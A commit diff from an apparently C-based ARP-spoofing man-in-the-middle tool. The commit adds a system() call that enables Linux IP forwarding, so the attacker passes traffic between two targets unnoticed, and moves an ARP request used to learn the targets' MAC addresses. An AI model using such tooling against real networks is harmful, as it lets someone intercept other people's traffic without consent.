Enable IP forwarding before launching MITM attack
This commit is contained in:
parent
59b41bc99d
commit
1b3f658c22
1 changed files with 7 additions and 1 deletions
|
@ -144,8 +144,14 @@ int main(int argc, char **argv)
|
|||
|
||||
/* ====================================================================== */
|
||||
|
||||
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip);
|
||||
/* Ensures IP forwarding is enabled on Linux, in order to make he
|
||||
attacker "transparent" to packets moving form target1 to
|
||||
target2. This is not persistent on reboot. */
|
||||
system("echo 1 > /proc/sys/net/ipv4/ip_forward");
|
||||
|
||||
/* We send normal requests to both targets in order to get their
|
||||
hardware addresses. */
|
||||
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip);
|
||||
struct ether_arp reply1;
|
||||
listen_arp_frame(sockfd, &reply1);
|
||||
unsigned char *macaddr1 = reply1.arp_sha;
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue